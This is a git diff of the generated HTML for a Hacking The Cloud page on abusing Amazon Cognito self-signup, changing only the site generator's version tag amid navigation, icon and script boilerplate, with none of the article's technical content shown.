0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
diff --git a/aws/exploitation/cognito_user_self_signup/index.html b/aws/exploitation/cognito_user_self_signup/index.html
index 6e0cfd3f8..170adb51f 100644
--- a/aws/exploitation/cognito_user_self_signup/index.html
+++ b/aws/exploitation/cognito_user_self_signup/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to take advantage of misconfigured Amazon Cognito User Pools."><link href=https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ rel=canonical><link href=../cognito_identity_pool_excessive_privileges/ rel=prev><link href=../ec2-metadata-ssrf/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Abusing Unintended Self-Signup in AWS Cognito - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Abusing Unintended Self-Signup in AWS Cognito - Hacking The Cloud"><meta property=og:description content="How to take advantage of misconfigured Amazon Cognito User Pools."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_user_self_signup.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Abusing Unintended Self-Signup in AWS Cognito - Hacking The Cloud"><meta property=twitter:description content="How to take advantage of misconfigured Amazon Cognito User Pools."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_user_self_signup.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to take advantage of misconfigured Amazon Cognito User Pools."><link href=https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ rel=canonical><link href=../cognito_identity_pool_excessive_privileges/ rel=prev><link href=../ec2-metadata-ssrf/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Abusing Unintended Self-Signup in AWS Cognito - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Abusing Unintended Self-Signup in AWS Cognito - Hacking The Cloud"><meta property=og:description content="How to take advantage of misconfigured Amazon Cognito User Pools."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_user_self_signup.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Abusing Unintended Self-Signup in AWS Cognito - Hacking The Cloud"><meta property=twitter:description content="How to take advantage of misconfigured Amazon Cognito User Pools."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_user_self_signup.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#unintended-self-signup-in-aws-cognito class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span 